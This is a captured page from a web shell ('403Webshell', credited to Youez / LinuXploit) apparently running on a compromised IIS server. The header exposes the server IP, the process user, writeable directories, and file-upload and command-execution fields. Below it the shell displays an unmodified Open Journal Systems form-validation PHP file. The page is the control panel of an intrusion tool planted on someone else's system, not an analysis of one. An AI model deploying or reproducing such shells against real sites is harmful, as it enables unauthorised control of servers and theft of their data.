403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/Libteiser - Ojs/ojs2/classes/form/validation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/Libteiser - Ojs/ojs2/classes/form/validation/FormValidator.inc.php
<?php

/**
 * @defgroup form_validation
 */
 
/**
 * @file classes/form/validation/FormValidator.inc.php
 *
 * Copyright (c) 2003-2009 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class FormValidator
 * @ingroup form_validation
 *
 * @brief Class to represent a form validation check.
 */

// $Id: FormValidator.inc.php,v 1.14.2.1 2009/04/08 19:42:47 asmecher Exp $


import('form.validation.FormValidatorRegExp');
import('form.validation.FormValidatorEmail');
import('form.validation.FormValidatorUrl');
import('form.validation.FormValidatorAlphaNum');
import('form.validation.FormValidatorInSet');
import('form.validation.FormValidatorArray');
import('form.validation.FormValidatorArrayCustom');
import('form.validation.FormValidatorLocale');
import('form.validation.FormValidatorLocaleEmail');
import('form.validation.FormValidatorLength');
import('form.validation.FormValidatorCustom');
import('form.validation.FormValidatorCaptcha');
import('form.validation.FormValidatorPost');

class FormValidator {

	/** The Form associated with the check */
	var $form;

	/** The name of the field */
	var $field;

	/** The type of check ("required" or "optional") */
	var $type;

	/** The error message associated with a validation failure */
	var $message;

	/**
	 * Constructor.
	 * @param $form Form the associated form
	 * @param $field string the name of the associated field
	 * @param $type string the type of check, either "required" or "optional"
	 * @param $message string the error message for validation failures (i18n key)
	 */
	function FormValidator(&$form, $field, $type, $message) {
		$this->form = &$form;
		$this->field = $field;
		$this->type = $type;
		$this->message = $message;
	}

	/**
	 * Check if field value is valid.
	 * Default check is that field is either optional or not empty.
	 * @return boolean
	 */
	function isValid() {
		return $this->type == 'optional' || trim($this->form->getData($this->field)) != '';
	}

	/**
	 * Check if field value is empty and optional.
	 * @return boolean
	 */
	function isEmptyAndOptional() {
		return $this->type == 'optional' && trim($this->form->getData($this->field)) == '';
	}

	/**
	 * Get the field associated with the check.
	 * @return string
	 */
	function getField() {
		return $this->field;
	}

	/**
	 * Get the error message associated with a failed validation check.
	 * @return string
	 */
	function getMessage() {
		return Locale::translate($this->message);
	}

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit